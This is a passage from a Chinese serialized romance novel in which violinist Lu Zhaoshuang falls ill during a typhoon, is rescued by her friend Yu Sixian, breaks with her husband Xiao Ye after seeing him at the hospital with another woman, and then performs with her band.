兴许是这段时间都太累了,陆照霜完全没听见闹钟的声音,醒来时,已经接近中午了。 家里的温控系统似乎也坏了,明明是六月中旬,她却觉得有些冷。 在睡裙外披了件风衣,陆照霜这才下楼,准备去给自己做份早餐,啊不对,午餐。 据说会有台风登陆,她觉得不安全,于是给家政阿姨放了假,不必过来给她做饭。 也就两天时间而已,她随便做点三明治对付过去就行了。 然而她刚走到楼梯口,大火爆炒过后的饭菜香气却扑进了鼻尖。 张阿姨又回来了? 陆照霜迟疑着往厨房望去。 穿着休闲衬衫的年轻男人手里端着两盘菜,从厨房出来,把菜搁在了餐桌上。 萧烨? 她一时反应不过来,感觉自己可能还没睡醒。 别说萧烨多久没回来了,就算他回来了,但做饭,萧烨? 正当这时,萧烨若有所觉地抬头,朝她这边望过来。 陆照霜呼吸一窒,下意识握紧了楼梯扶手。 两人默默对视了片刻,随即萧烨勾起唇角,很嫌弃地说:“愣着干什么?你也真行,一觉能睡到这个时候。” 他就站在那里,用着这样亲昵熟稔的语气说话,好像某种来自梦中的幻影。 陆照霜脑子有点发晕,很缓慢地走下楼,坐到了他对面。 萧烨又进了一趟厨房,然后端着两碗米饭放到了桌上,单手支着下巴,好整以暇看她,“尝尝。” 陆照霜拿起筷子,夹起一筷子菜,犹豫不决地喂进了嘴里,活像是要尝什么毒酒似的。 但咽下去,却有些震惊地顿住。 那味道,竟然还不错。 她的表情显然取悦到了萧烨,他十分骄矜地扬了扬眉,然后也开始动筷子。 “你什么时候学会做饭的?”陆照霜忍不住问。 其实两道家常菜而已,说出去大概大多数人都会做,但放在萧烨身上,就让她很难想象。 萧烨耸了耸肩膀,“你要是当年跟我一样去留学,现在也能学会这份手艺。” 他今天提起这件事,没有了以前故意刺她的那个意思,只是非常平常的、提起一件旧事的语气。 虽然没有解释他这段时间的消失,没有解决他们上次的矛盾,没有提及她知道很重要的任何事情。 但他好像是来跟她和好的,陆照霜意识到了这件事。 这一刻,他们坐在餐桌对面,吃着他亲手做的家常菜。 这种无限接近于正常夫妻的画面,因为他们那聚少离多的两年,陆照霜几乎从未体会过。 因此,她不忍心,去毁掉这个瞬间。 低下头,她小口小口地吃着菜,很认真地咀嚼着,像是要把这个味道记下来。 两人都是少见的和谐。 吃完饭,陆照霜自觉应该承担善后的义务,站起身,准备把盘子放进洗碗机。 “行了,你坐着吧,”萧烨先她一步端起盘子,往她脸上很轻地扫了一眼,低声嘀咕了一句,“也不知道你们乐团是怎么用人的,能把你累成这样。” 从她下楼的那一刻他就注意到了,她脸色很不好,眼下有熬出的淡淡青紫,吃饭的时候还时不时咳嗽,大约是感染了流感。 那让他几乎是很快就软下了心肠,平日那些一出口就带刺的话,全都销声匿迹了。 其实他们也是能好好相处的,只要他不再故意刺激她,只要她不像上次一样突然像换了一个人,而这做起来其实并不难的,不是吗? 他隐隐约约觉得,他们或许是可以,就这样顺利地走下去的。 从厨房出来,他看到陆照霜已经窝进了沙发,抱着一本曲谱。 他坐到她身边,凑过去往她怀里瞥了一眼,“你们下次音乐会的曲子?” 音乐会,又一个他们之间一直避而不谈的禁区。 他看到阿霜抓着曲谱的指节开始紧到泛白,“嗯”了一声。 “哪天?” 阿霜低着头含糊地回答:“6月20号。” 她好像,不敢再对他的到来,抱有期待了。 仿佛心头长了一根倒刺,碰了一下,绵长而细密的钝痛就开始在心里化开,萧烨突然就觉得堵得难受。 “阿霜,我之前——”那些解释的话语还未出口,就被他吞进了喉咙里。 他干脆拿起手机,开始订票,然后把页面展示给她看,“下次我会去的。” 陆照霜怔怔地看着他的手机屏幕,那神情谈不上惊喜,只是一种温吞的迟疑。 她真的被他反复无常整怕了。 萧烨握住她的肩膀,将她的身子扳过来,紧紧盯着她的眼睛,“我会去的,我跟你保证。” 她好像这才有点相信的样子,小声说了一句,“那……你来就来吧。” 虽然她一副根本不在意他来不来的样子,但他还是看到,她抱着曲谱看的时候,唇角的弧度要比之前稍高一点。 看了一阵以后,她起身去琴房练琴。 萧烨缀在了她身后,跟着到了门口。 她顿了一下,按下门把手,听到身后跟着她走进的脚步声。 这是结婚以来,他第一次走进她的琴房。 她尽可能保持镇定,拿出了小提琴,却还是在开始练习之前,仓皇无措地往他这边看了一眼,“你要一直待在这儿?” 萧烨扯了一把椅子,就坐在了门边,下巴微抬,露出了一个理所当然的表情,“不可以?” 陆照霜咬了咬唇,也就不再看他,面朝着窗口的方向,开始练习。 虽然最开始因为他的存在而有些心神不宁,很很快,她就沉浸在了音乐里,完全忘怀了其他事物。 萧烨出神地注视着她。 阿霜这种样子,他上一次见到,还是两年前,他们蜜月期的最后一天。 他也是这样注视着她,看她坐在夕阳将落的窗边,拉完了一首他不知道名字的曲子。 很短的、也就三分钟左右的曲子,和她平时演奏的那些高深莫测的交响乐不一样,那首曲子的旋律非常轻快,连他都能欣赏。 他其实好奇过那首曲子叫什么名字,但后来再也没有询问她的机会。 毕竟,从他说出那句“你就这么喜欢我”开始,他们之间就开始彻底错轨。 从二十四岁,到二十六岁,一错再错。 而今天这个与当年几乎可以重叠的画面,让他看到了他们可以将错误重新纠正的可能。 不是如同上次一样,将所有问题揭过不提、假装问题并不存在,而是去正视和解决。 在陆照霜似乎哪里拉错,停下来,弯腰翻看曲谱的时候,萧烨出声叫她。 “阿霜,我不会再故意用那些话来刺激你了,不会再捉弄你了。” 她的背影蓦然僵住了。 “你也不要再为了无关紧要的人,跟我闹脾气了。” “我们这一次,真的和好吧。” 她的身子在那里僵立了许久,然后缓缓站直,向他望过来。 没有他以为会有的喜悦、不安、质问等等所有他可以想象的情绪。 她看着他,眼里只有一种浓烈的悲哀,轻声问:“什么叫无关紧要的人?” 萧烨皱起眉,难以想象,她在这一整段话里,关心的会是这么微不足道的一点。 他几乎有些无奈了,“你还要为了那个莫名其妙的女人跟我闹?难道对你来说,她比我更重要?” 陆照霜很低地笑了一下,却跟哭没什么两样,“萧烨,从我甚至还不记事的年纪开始,我们就一直在一起了,而我跟她认识也就一个多月,你觉得我跟你吵,是因为我觉得她比你更重要?” 萧烨不耐地看着她,“所以你到底为什么非抓着那件事不放?” 她眼里透着一股他看不懂的情绪,“是因为你啊。” “哈?我?” “对,你。因为我不明白,你怎么会变成现在这样的人啊,萧烨。” 他霎时顿住,望进她的眼里,终于看明白了,那种情绪是什么。 是无法理解的失望。 她对他感到失望。 哈?萧烨伸手插进头发里,荒谬到笑出了声音来。 从昨晚的杜宇宁,到现在的陆照霜,他们到底在对他失望什么?他们凭什么对他感到失望? 他真的厌烦透了,别人用这种眼神看着他。 但他还是努力忍耐了下去,起身,走近她,向她伸出手,“好了,我明白了,阿霜,这两年你对我有不少怨气,我以后不会再那么对你了,所以你也不要再找那些借口了,我以后会补偿你的,好吗?” 她微微仰头,看着他的眼神又难过又难以置信,好像觉得他在说什么荒谬的事情似的。 最后,她别开头,一字字道:“萧烨,只要你不对我的朋友道歉,我们就不可能和好。” 那只伸出去的手被晾在半空,他闭了闭眼,然后慢慢地将手收了回去。 好像对她都没有什么话可讲,萧烨最后看了她一眼,就头也不回地转身离去。 “砰——” 大门被狠狠摔上,余音在屋内久久不散。 陆照霜咬住下唇,用空着的那只手捂住眼睛,肩膀不受控制地颤动了一下。 又一次。 他们不欢而散。 好像是磁铁的同极,只要碰到一起,就会产生互斥。 一次比一次更狠,一次比一次把对方推得更远,就好像一辆失去刹车的列车,下一刻,他们就要从悬崖翻覆下去了。 忽然,手机振动了一下。 她平复了一下,往那边望去。 是林珩的新消息:【明天演出还OK吗?听思弦说你感冒很严重?】 陆照霜回复:【没问题,有点咳嗽而已,吃点止咳药压一压就行了。】 林珩:【行,你的身体你自己最清楚,有问题跟我说一声就行了。】 放下手机。 陆照霜提起沉重的胳膊,重新拿起了小提琴。 明天有逃出人间的演出,五天后是申城交响乐团的闭幕音乐会,她没时间在这里伤春悲秋了。 …… 不知过了多久,再次被从练习中惊醒,是轰隆的一声巨雷。 她毫无防备,被惊得一激灵,抬头望去。 不知什么时候开始,天已经阴沉到仿佛一张密不透风的大网,大雨滂沱,刀劈斧凿一般砸在玻璃窗上,好像下一刻就要破窗而入。 她下意识往后退了一步,目光凝滞在窗外。 几乎一瞬间,就被带回五年前的暴雨天。 最开始接到爸爸的电话,是真的,没有感觉到难过的,那一刻她什么情绪都没有。 她只是理智上知道,她要尽快赶到。 她觉得她好无情,妈妈正在抢救,她竟然都不难过。 可是,当她坐在了出租车上,打完各种电话,为她的突然离去善后完成,整个人突然空下来以后。 她想起了她和妈妈之间的最后对话。 “你早就受不了我了,就想跟我对着干,盼着我死了你好解脱对吧!” “您说得对,是我配不上做您的女儿。” 她没有那么蠢的,会以为那是妈妈的真心话。 就算妈妈再怎么疏于家庭关系,就算妈妈生病后再怎么喜怒无常,也无法抹去,那些曾经被妈妈珍重对待的瞬间。 那也不是她的真心话,她就只是,吵架上头以后,在跟妈妈赌气而已。 说句气话又没关系,妈妈对她说过那么多气话,反正她们下一次还是会和好,说再多的气话也可以挽回。 应该是可以挽回的才对。 “姑娘,出什么事了,怎么哭这么厉害?”司机大叔在前面无措地问。 她只能强忍着哽咽恳求:“叔叔,我妈妈正在抢救,能麻烦您开快点吗?” 她眼前被模糊成混乱的一片,也不知道司机大叔是不是在开得很快,等下次听到司机大叔的声音。 是他很无奈、很抱歉地低声说:“姑娘,路已经堵死了,我也没办法。” 暴雨天,横亘整条街的车流已经完全堵塞住了,谁都没有办法。 但就算不堵车也没用,因为她到了机场才发现,飞机因为暴雨延误了。 就算飞机不延误也没用,因为她后来得知了妈妈的死亡时间,她无论如何也不可能赶得到。 原来没有下一次,那就是最后一次。 不是所有错误,都可以被挽回的。 “轰隆——”又一声惊雷。 眼前唰一下漆黑一片,断电了。 只剩下手机发出幽幽荧光。 她愣了一下,忽然想,不知道萧烨现在在哪里? 他有没有在一个安全的地方? 心脏忽然剧烈鼓动起来,她睁大了双眼,整个人都被一种强烈的不安攫住了。 她急促地喘息了一下,抓起手机,胳膊突然没有力气,差点把手机摔了下去,还好她捞住了。 她去打字,手指老是抖来抖去,她狠狠甩了甩手掌,然后给萧烨发消息。 【你在哪】 【台风来了,你有没有事】 【你到哪了】 【你跟我说句话】 【萧烨你别跟我开玩笑,你到底在哪】 【你说句话】 没有回复没有回复没有回复。 他到底怎么了,为什么不回复? 她脑子昏昏沉沉,一片空白,胸口紧到她几乎想要呕吐了。 她给他拨微信电话。 一个、两个、三个、四个……“对方无响应”。 她又打移动电话。 “您拨打的电话暂时无人接听,请稍后再拨……” 视线再一次模糊了。 她为什么要跟他在这种天气吵架? 就算有再多的矛盾和争执,她也不该在这种天气跟他吵架的。 她怎么会忘?今天是台风天。 她怎么敢?再犯一次这种错。 她攥着手机,只能一遍遍重复拨打他的电话。 【你到底在哪】 【求求你了萧烨跟我说句话】 30/ 第30章 ◎文案剧情◎ “阿照,求你接电话。”郁思弦站在窗边,遥望着湖对岸的方向,攥着手机的手背上青筋鼓起。 从断电开始,不安的预感就开始在他心口疯长。 不知道阿照那边怎么样了? 她病还没好,萧烨最近又总是不回家,不知道她现在是不是一个人? 可无论他打去多少次电话,永远都在占线,给萧烨打的电话也无人接听。 为什么不接电话,出什么事了? 这一刻,天昏地暗、大雨如注,他几乎像是独自一人,被丢在无边无际、没有方向的深海,暌违多年的焦躁和惶恐伴着某个血色的回忆,一齐涌了上来。 几乎能将人逼疯。 在又一道闪电劈过时,他抓起车钥匙和雨衣就冲出了家门。 风雨大得出奇,要倾倒世间一样滂沱而下,刮雨器从车前窗划过没多久,就重新布满淋漓的水迹。车灯的可视范围内,沿途樱树被风刮得七倒八歪,地面上的积水厚厚一层。 明明是这么短的一段距离,却开得异常艰难。 到了陆照霜家门口,他披上雨衣,顶着风雨稳住身体,按下门铃,久久无人响应。 他不再犹豫,两年多来,第一次按下那个早就烂熟于心的密码,推门而入。 屋内黑沉一片。 “阿照?萧烨?” 依旧无人作答。 郁思弦唇线紧绷,打开手机手电筒,径自迈入搜寻。 到处都没有人,也许她今天正巧不在家。 他如此想着,推开了琴房的门。 然后,整个人像是被钉在了那里。 阿照倒在地上,身体紧紧蜷缩成一团,脸上泛着不正常的潮红,闭着眼喘息着,肉眼可见得难受。 郁思弦呼吸一窒,然后飞速奔到她身边,蹲下身,拂开她濡湿的发丝,去探她的额头。 好烫,怎么会这么烫? 他声音都有些不稳了,“阿照、阿照!” 她眼睫费力地颤动了一下,却还是没有睁开。 郁思弦立刻伸手把她抱起,触及她裸在外面的手臂,烫到他心惊肉跳,他不敢耽误分毫,快步走到客厅,将她置于沙发上躺下。 然后去翻找她家的药箱,他知道她一直以来的习惯,找到药箱不费吹灰之力,可要挤出胶囊的时候,手指却一直在发抖,好几次才终于取出。 他接了杯水过去,怕她呛到,扶着她坐起,“阿照,先醒醒,吃药。” 她好像终于被他的动作弄醒,眼睛半睁半闭地,迷迷糊糊就着他的手把药吞服了下去。 她烧得太厉害了,喂了药郁思弦仍旧不敢安心,将带来的雨衣披在她身上,俯身重新将她抱起,“阿照,别怕,我们去医院。” 也不知道是在安慰她,还是在安慰他自己。 她这会儿正是高热的时候,一直拨弄着自己的衣服想凉快点,可被他抱在怀里,却紧紧攥住了他的衣服,很没安全感地往他怀里拱,嘴里轻声喃喃着什么。 “阿照,你说什么?” 他垂头去听,然后,他听到了。 她在唤,“萧烨……” 郁思弦怔了一瞬,而后,近乎荒谬地笑出声来。 萧烨。 萧烨把她撇下两年,萧烨无数次和她冷战让她难过,连她病得这么重的时候,萧烨也根本不见踪影。 她却还在叫着萧烨。 她怎么能在这种时候,还在等待萧烨? 郁思弦从未像现在这样,痛恨过这个名字。 他几乎控制不住自己抱着她的力道,沉声叫她,“阿照,看看陪在你身边的人到底是谁?” 那一瞬,闪电划过天际,室内被照得一片雪白。 陆照霜费力地睁开眼。 然后,在看清他的那一刻,愣在了当场。 郁思弦。 怎么会是郁思弦? 在她刚才痛苦的半梦半醒间,把她抱起、给她喂了温水的人,怎么会是郁思弦? 仿佛从她的神情中看出什么,郁思弦眼瞳中闪烁着一种她从未见过的慈悲……和残酷。 “看清了就好,阿照,无论你是不是很失望,但,怎么办呢?你等的那个人不会来了。” 说完,他扯了下嘴角,抱着她大步走进了屋外的风雨里。 …… 在医院输过液后,陆照霜终于暂时退了烧,经过几个小时的休息,整个人也不似之前那般昏沉。 她靠坐在病床上,迟疑地望向对面沙发上的男人。 郁思弦之前的外套湿透了,现在身上只穿着一身很薄的衬衫,抱着胳膊在那里闭目养神,在她输液的这几个小时里,他一直在照顾她。 这种体贴和温柔,是她非常熟悉的郁思弦的模样,而几个小时前那个阴沉陌生的郁思弦,是她烧糊涂了产生的错觉吗? “思弦,之前你在家里……”她犹豫又谨慎地打量着他,“是不是跟我说了什么?” 郁思弦睁开眼,静静迎上她的目光,不躲不闪。 陆照霜无端有些忐忑,想要躲开他的视线时,他朝她微微笑了一下。 “你觉得呢,阿照?” 是他不愿意正面回答时,惯常会用的反问。 她以前总会很无奈地去猜测,他到底是什么意思。 可今天,陆照霜却不敢再想了。 她仓惶地移开视线,掀开被子,“我出去散散步,躺得有点久了。” 脚刚一挨着地面,郁思弦就走了过来,将她的外套披在她身上,平静地说:“我跟你一起去。” 他手指虚虚地给她扣着牛角扣,挨得好近,呼吸就落在她头顶,他们青梅竹马一起长大,这样互相照顾的时刻并不罕见,可她此刻却觉得手足无措。 不敢和他对视,她赶忙垂下目光,却正好看到他敞开的领口下,露出的喉结和锁骨。 非礼勿视。 她狼狈地别开脸,从他手里夺过自己的纽扣,一边系一边道:“不用了,我自己去。” 他松开了手,人却没有退开,还是站在离她只有寸余的距离,温和地看着她,语气却毫无商榷余地,“阿照,你觉得在我看到你晕倒在家以后,还可能让你一个人出去?” 陆照霜声气顿时软了下去,只能发出微弱的抗议,“我只是怕麻烦你,今天麻烦你已经够久了,你就休息一会儿吧。” 郁思弦笑了下,率先走到门边,把门拉开,朝她看过来,“阿照,如果你不想我插手你的事情,那从一开始就照顾好自己的身体。” 虽然特征表现得不是非常明显,但她看得出来,郁思弦这是生气了。 不敢再多犹豫,她赶忙出了门。 说是出来散步,其实这时候也不敢吹风,所以就是在医院走廊里转圈。 陆照霜走在前面,郁思弦跟在她后面,两个人都没有说话。 他们以前有过这么尴尬的时候吗? 连疏远的那两年,都没有现在这么如芒在背吧。 陆照霜已经后悔出来了。 还不如待在病房,起码可以假装自己是在睡觉。 又转过了一个弯,有个年轻男孩正坐在长椅上刷短视频,营销号的夸张声音念叨着台风天的各种社会新闻。 陆照霜霎时顿住,下意识往身上摸了下,才想起,手机应该是落在家里了。 她急忙转过身,望向郁思弦,“思弦,你知道萧烨现在怎么样了吗?” 他和她隔着一步远,长睫下一片阴沉,声音冷得出奇,“不知道。” “你给他打过电话吗?” “打过,没打通。” “我也没打通,他会不会碰到了什么事?”她眉眼间又爬满了焦虑神色,“你有没有带手机?再给他打个电话试一下吧。” 他单手插在兜里,有点懒散地简短道:“带了,但不想打。” 她愣住了,“什么意思?” “字面意思。” “你……电话打不通不是很奇怪吗?你不担心他吗?”她好混乱。 “在今天以前我应该会担心的,但现在,”郁思弦顿了顿,嘲弄似的勾起唇角,“我好像真的不是很在乎他安不安全。” 陆照霜感觉大脑几乎有点难以转动了,“可是,我们难道不是朋友吗?” 从六岁到二十六岁,他们三人认识了整整二十年的时光,他怎么可能不在乎。 “阿照。” 郁思弦唤出她的名字,然后一字字道:“我没有把高烧的人丢在家里不闻不问的朋友。” 她瞳孔瞬间放大。 一整天来,和好、闹崩、暴雨、电话……一切混乱在这一刻回归并整理。 最后留在记忆里的,是萧烨摔门出去的那一声。 “砰——” 她终于迟来地在这一刻,听到心里有什么东西崩塌的声音。 “你真的太冲动了白斯榕,能不能用你的脑子好好想想再行动?” “可你不是也出去了吗?” “我那是因为谁?” 熟悉到几乎刻入骨髓的男声,带着一种咬牙切齿的味道,从身后传来。 来不及思考别的,陆照霜只是条件反射般转过身去。 雪白的医院墙角。 她牵肠挂肚担心了一晚上的男人,一只手插在兜里,从拐角走了过来。 萧烨还穿着今天给她做饭时的休闲衬衫和长裤,只是衣服和头发都被雨水染得有点狼狈,但从头到脚都没什么伤痕。 啊,她明明是该松一口气的。 如果不是他的另一只手,还搀着一个女人的胳膊的话。 “行行行,都是我的错,总之多谢你了。”女人一只腿上绑着夹板,走路时还一瘸一拐的。 萧烨“啧”了一声,“完了请个护工吧,我看你也照顾不了自己了。” 那也完全不是,对什么不熟的人的口气。 萧烨说完,就烦躁地抬起头,然后脚步猛地顿住。 “阿霜,思弦?你们怎么在这?” 白斯榕愣了下,这才反应过来,往陆照霜身上看了一眼,立刻把自己的胳膊从萧烨手里挣了出去。 郁思弦的目光从他们两人的神情动作上扫过,仿佛看到了什么很荒诞的事情,眉头先是紧紧蹙起,然后难以置信地笑出了声来。 陆照霜却只是怔怔地看着萧烨,做梦一样,“原来……你没事。” 萧烨有些莫名其妙,“我为什么会有事?” 他注意到她身上的病号服,脸色有点变了,“出什么事了,你怎么来医院了?” 陆照霜像是没听见似的,还在出神地注视着他,自言自语道:“是啊,你怎么可能会有事呢?” 在没有陆照霜的日子里,萧烨会给自己做味道不错的饭菜,会和其他人用熟稔的口吻说话,会和其他人一起度过危险的台风天,然后安然无恙。 “哈,”她笑了一声,转过身,指着萧烨,对郁思弦道:“思弦,我怎么会以为他会有事呢?” “阿照。”郁思弦神情微变,伸手试图扶住她。 她却笑着朝郁思弦摆了摆手。 回头又看了萧烨一眼,她笑得越来越大,笑到肩头耸动起来,笑到捧住了腹部,笑到蹲在了地上。 笑到泪流满面。 30-40 第31章 ◎萧烨,我们完了◎ 她情绪激动到,简直要过度呼吸了。 再是迟钝的人,这一刻也能察觉不对。 萧烨连忙上前一步,半蹲下身,用手按住她的肩膀,“阿霜,不是你想的那样,我只是……她在台风天跑出去救人,我总不可能袖手旁观,我只是送她来医院而已,本来我也马上就要走了。” 白斯榕手掌撑住墙壁,稳住自己的身体,也连声道:“陆小姐,我跟你保证,真的只是这样而已!” 陆照霜抬头,模糊的视野里,萧烨那张再熟悉不过的脸,也变得扭曲变形,让她开始认不出来。 她的肩膀耸动了好一会儿才停住,望着萧烨的眼睛,语气里带着再明显不过的讥嘲,“那你们可真是好有缘分,申城这么大、今天是这种天气,还能让你正巧碰到,做这种好人好事。” 萧烨脸色瞬间一僵。 陆照霜还有什么不明白的。 她捂住自己的脸,又情不自禁地笑了一声:“萧烨,前脚刚跟我说我们要怎么和好,因为我们没有谈好,你转头就去找别人,你真的,怎么能给我这么多惊喜啊?” “阿霜,真的不是你想的那样,我和她什么都没有,我只是、我——”他磕磕巴巴地不知道该怎么向她说明原委。 “不重要了。” 陆照霜猛地挥开他的手,用手抹掉自己的眼泪,泛红的眼睛盯着他,一字字道:“萧烨,我们完了。” 说完,她站起身,有些眩晕地脚步一软,险些朝一边栽倒,但又在郁思弦伸手扶她之前,重新站直,头也不回地朝她的病房走去。 “阿霜!”萧烨下意识就想去拽她的手。 无论如何,现在怎么都要把她留下,他无端就是有这种预感! 那只手刚探出去,就被郁思弦截住。 他无法理解地怒视着郁思弦。 郁思弦却只是居高临下地看着他,声音漠然到透不出一丝波动,“萧烨,阿照今天在家发高烧,晕倒了。” “你说什么?”萧烨眼睛瞬间睁大。 郁思弦松开了他的手臂,像觉得沾上了什么脏东西似的,用纸巾慢条斯理地擦拭着手指。 “我本来以为你是从来都没回去过,但原来你今天是在家的,你竟然能在看着她发烧的情况下,把她一个人丢在家里。” 萧烨从家里离开之前,那些被他忽视的细节终于一点点浮上脑海。 她那么自律的人,却临近中午才起床;在这么闷热的天里,她身上却还披了一件外套;她脸色真的超级差…… 他怎么会,完全没想到她是在发烧呢? 郁思弦将纸巾丢进垃圾桶,声音冷得像寒冬腊月的冰,“我已经不想去思考,在你做这些混蛋事的时候,究竟在想些什么了。萧烨,但如果你还有一丁点良心,就别在她身体这么差的时候再去刺激她。” 萧烨原本想踏出去的脚步,就这样被这句话,钉死在原地。 郁思弦最后扫了他一眼,然后毫不留恋地转身离去。 怎么会搞成现在这样? 他只不过是和阿霜吵架*上头以后,气不过从家里出来,叫白斯榕出来喝酒,结果碰上台风天,白斯榕为了救人冲出去,他看到情况不对,把她从一块摔下来的彩钢板下拉了出来,顺便送她来医院而已。 只是这样而已,为什么会变成现在这样? 萧烨后脑突突得疼,他抱着头,再也顾不上任何形象,就那么靠着墙坐着。 阿霜刚才最后看他的那个眼神,久久留在他的脑海里,他们过去吵架冷战过那么多次,但他头一次见到阿霜露出那样的眼神。 什么叫“我们完了?” 白斯榕想不到事情会变成这样,有些无措地看着他,不知道该说点什么,小心地唤他:“萧烨……” 听到她的声音,萧烨的手缓缓放了下来,抬起头,猩红的眼睛死死盯着她,着了魔了一样,道:“我就不该出去救你。” 那样就不会在医院碰上阿霜,让她伤心成那样。 白斯榕愣愣地看着他,像是无法相信自己究竟听到了什么话,最后荒唐到极点一样,她抓了一把自己的头发,也笑出了声来。 “萧烨,你可真的是……你觉得你跟你老婆闹成这样,是因为你今天救了我?不,不对,萧烨,放到今天,应该是你就不该叫我去喝酒;放在更久以前,就是你从一开始就不该找上我。” 萧烨冷笑了一声,“哈?白老师既然说得这么头头是道,那何必每次我约你的时候,你都要出来?” 白斯榕并没有露出被羞辱的表情,她只是安静了一瞬,垂下头,盯着雪白的地板,轻声道:“我总是觉得,你变成现在这个样子,说不定我也有责任……” “那时候我还太年轻了,忘了我怎么都算你的老师,对一个还没成年的小孩说了有些过激的话,后来我一直觉得很抱歉。” 萧烨冷嗤一声:“就别在这种时候,还在这里演观音了白斯榕。” “是啊,”白斯榕自嘲地笑了下,“我把我自己想得太重要了。不管我那天说了什么,你会变成这样,最后只会是因为你自己,我也不可能陪你喝几次酒就把你变回原来的样子。我从一开始就不该和你出来的。” 变成这样……这几个字让萧烨眼神瞬间变了。 “真是好笑,”他漠然地掀起眼皮,“最近真是什么人都能来跟我说这句话了。” 白斯榕神情复杂地看着他阴戾的眼睛,十年前,少年那份短暂打动过她的纯粹热烈,再也找不到了。 她喃喃道:“和现在这个遇到事情,只会推卸责任的你比起来……当年那个年纪小、幼稚、天真、掌控不了自己的命运,但会送我小王子和玫瑰花的你,要可爱得多了。” “就这样吧,萧烨,工作上的事情,我会让别人负责对接,以后我不会再见你了。” 萧烨无所谓地扯了下嘴角,就冷漠地别开了眼。 白斯榕闭了闭眼,扶着拐杖,一瘸一拐地走了,但走到一半,她深吸了口气,最后一次回过头来。 “算是补上我当年没去的最后一个课时,萧烨,给你一个忠告——” “你每次叫我出来,都只是在闷头喝酒而已,一个人如果对自己的生活、对自己真的很满意,是不会这样的。你到底是想通过我来寻求什么,你自己好好想想吧。” * 郁思弦刚一回到病房,就发现陆照霜已经换下了病号服,在收拾自己的东西了。 他眉头紧紧蹙起,上前一步,攥住了陆照霜的手腕,“阿照,你这是要做什么?你总不能因为萧烨,连医院也不待了。” “不是因为他。”陆照霜没什么情绪地说。 她应该已经洗过了脸,之前满脸的泪痕消失无踪,只剩下眼睛里弥漫的血丝,昭示着刚才发生在她身上的那场崩溃。 她的表情平静到了一种麻木的地步,“我刚问过医生了,应该没什么大问题,正好现在台风停了,我得回家一趟,今天晚上还有逃出人间的演出。” 郁思弦被气笑了,攥着她的那只手一时失了力道,“你在这个时候还在想演出?你不知道高烧很容易反复的吗?你只是暂时退烧了,但身体还没好。我去跟林珩说一声,今晚让他换个人就行了。” “可我想去。” 陆照霜察觉不到痛似的,任由他握着她的腕骨,安静又坚持地看着他,一字一句道:“思弦,我想去。” 郁思弦眉心一跳。 她此刻的眼神,远比一个月前她从饭局上逃出来,敲开他的门时,更执着、更偏激。 郁思弦突然意识到,她根本不是真的没关系了,她只是在尽力让自己平静下来。 如果不给她一个发泄的渠道,她会就这样把所有情绪闷在心里,把自己逼得发疯的。 “……好,”郁思弦深吸了口气,不得不退让了一步,但又紧跟着叮嘱,“你就待在医院别动,需要什么东西我去帮你拿,到时候我送你去搁浅,等演出回来,我们立刻回医院。” 他死死盯着她的眼睛,“阿照,你答应我,就这一次,之后不管有天大的事情,你也得把自己的身体养好再说。” 她垂下眼,“嗯”了声,轻声说好。 晚上,搁浅酒吧。 在上台前,郁思弦又给陆照霜测了一次体温,果然又烧上来了,暂时还只是低烧。 他忍了又忍,才没有在这个时候冲动地反悔,把她拉走。 他垂着眼,把体温计放回兜里,一言不发地出了门,坐到前台那边,跟牧衡要了一瓶酒,牧衡也不敢劝他,眼睁睁看着他直接灌下去满满一杯。 陆照霜看着重新闭合上的门,低声道了一句谢谢。 无论是把她从家里带去医院这件事,还是容忍了她的任性、将她带来搁浅这件事。 她都真的,非常感谢。 “照霜姐,你身体真的能撑得住吗?”高若涵很担心地拉了拉她的胳膊。 连林珩都看得出来,她今天脸色出奇得差,浑身透着一股大病一场后的虚弱,不知道是因为高烧还是因为别的,她的眼神也格外空洞。 林珩皱着眉头,忍不住道:“如果身体真的很不舒服的话,换人就行了,思弦提前跟我打过招呼,我已经把杜骅叫过来了,他能救场的。” 陆照霜一一谢过大家的关心,她坐在椅子上,握着自己的小提琴,轻声道:“没关系,我想上场。” 再无人来劝阻她了。 因为谁都能看得出来,她就像一根快要崩断的琴弦,只凭借着这份执念才勉强坐在这里而已。 “林珩!你们准备好了吗?该到你们上场的时候了!”屋外工作人员叫道。 “知道了!” 林珩应完,走过去抓起陆照霜的手,强行跟她击了个掌,“既然非要上场,那就尽情拉吧。想怎么拉就怎么拉,你知道,我们本来就是这样的乐队,再怎么样,也不会比你看过的第一场更糟了。” 陆照霜愣了下,手还停在半空中,高若涵就跑过来也跟她击了个掌。 “照霜姐没关系,我今天自信心爆棚!不管你想怎么拉,我都一定能配合上你!” 高若涵笑了笑,然后转身跟上了林珩。 “啪。”又一次击掌。 唐湾用一双比他们大了好几岁的、更会洞察的眼睛,温和地注视着她,“什么事都会过去的,加油,小陆。” 最后剩下徐勿凡。 陆照霜很震惊地看着徐勿凡朝她走来。 但徐勿凡没有跟她击掌,而是一把攥住她的手,将她拉起,然后很快松开,径自往前走去。 只有很低的声音从前方传来。 “别一副被别人欺负了似的表情,看着怪憋屈的,拿出你那天跟我老板杠起来的气势。” 陆照霜怔怔看着他们四个人的背影,然后笑了一下,“好。” 因为天气原因,今天搁浅里的客人零零散散的,非常稀少,只是为他们鼓着掌,并没有像从前那样大喊大叫。 在没有足够多的人群来产生一种让人迷失的狂热时,大家都比平时克制而理智得多。 但或许,更重要的原因,是站在舞台角落的那个女人。 为了和徐勿凡之间形成更好的视觉效果,她的演出服装一直都是一身黑色的礼裙。 像两株同时盛开的花,红与黑就是一种不能更矛盾而和谐的配色。 她今天仍旧戴着黑色的面具,穿着那一身黑色的礼裙,却不复之前的优雅神秘。 她看起来太虚弱了,那一身黑穿在现在的她身上,像是一种哀悼的丧服。 其余每个成员的脸色,也都比往常要严肃得多。 “今天是换了什么新的主题吗?”客人们小声嘀咕道。 但直到逃出人间的曲子奏响,他们才确定,今天演奏的仍旧是之前的那些曲子。 可传达出来,却与之前的任何一次,都格外不同。 那把以前一直进退有据、牢牢托举着整支乐队的小提琴,今天再也没有刻意压制着自己,毫不掩饰地宣泄而出。 痛苦的、执着的、浓烈的、精疲力尽的、烧成灰烬的。 是盛夏的暴雨、浩荡的激流、原野上的惊雷、席卷一切的飓风、还有在所有风暴褪去后,留在原地的硝烟和废墟……她的琴声轻易让人联想起这种意象。 哪怕坐在台下,和她隔了一段距离,却好像仍旧被声音带入那种剧烈的战栗里。 台下的观众屏气凝神地注视着他们,台上的成员们没有一丝去和观众互动的余裕。 几乎每个人都在拼了命地去跟上小提琴的节奏,没有人使眼色去阻止、没有人露出放弃的表情、没有人手底下有丝毫松懈。 